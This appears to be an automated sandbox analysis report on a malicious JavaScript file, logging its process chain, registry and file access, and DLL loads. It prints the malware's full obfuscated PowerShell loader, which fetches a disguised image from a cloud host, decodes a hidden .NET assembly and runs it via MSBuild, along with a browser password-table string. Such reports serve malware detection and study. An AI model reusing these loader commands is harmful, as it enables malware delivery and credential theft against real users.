
Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: choice.exe, 0000000A.00000002.2951040411.0000000002CE9000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002D0B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cscript.exe "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() \| ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"
Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cscript.exe "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() \| ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
